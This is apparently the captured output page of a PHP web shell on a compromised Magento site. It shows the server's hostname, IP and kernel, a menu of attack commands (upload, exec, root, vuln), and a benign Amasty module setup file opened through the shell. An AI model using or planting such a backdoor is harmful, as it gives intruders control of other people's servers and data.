Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 3.147.78.250 | Time @ Server : 19 Oct 2024 06:18:01
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/webmaster/firofichi/www/vendor/amasty/base/Setup/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/amasty/base/Setup/RecurringData.php

<?php declare(strict_types=1); /** * @author Amasty Team * @copyright Copyright (c) 2022 Amasty (https://www.amasty.com) * @package Magento 2 Base Package */ namespace Amasty\Base\Setup; use Magento\Framework\Module\Manager; use Magento\Framework\Module\Status; use Magento\Framework\Setup\InstallDataInterface; use Magento\Framework\Setup\ModuleContextInterface; use Magento\Framework\Setup\ModuleDataSetupInterface; /** * @codeCoverageIgnore */ class RecurringData implements InstallDataInterface { /** * @var Manager */ private $moduleManager; /** * @var Status */ private $moduleStatus; /** * @var array */ private $modulesToDisable = []; public function __construct( Manager $moduleManager, Status $moduleStatus, array $modulesToDisable = [] ) { $this->moduleManager = $moduleManager; $this->moduleStatus = $moduleStatus; $this->modulesToDisable = $this->initModulesToDisable($modulesToDisable); } public function install(ModuleDataSetupInterface $setup, ModuleContextInterface $context) { if (!empty($this->modulesToDisable)) { $this->moduleStatus->setIsEnabled(false, $this->modulesToDisable); } } private function initModulesToDisable(array $modulesToDisable): array { $result = []; foreach (array_unique($modulesToDisable) as $module) { if ($this->moduleManager->isEnabled($module)) { $result[] = $module; } } return $result; } }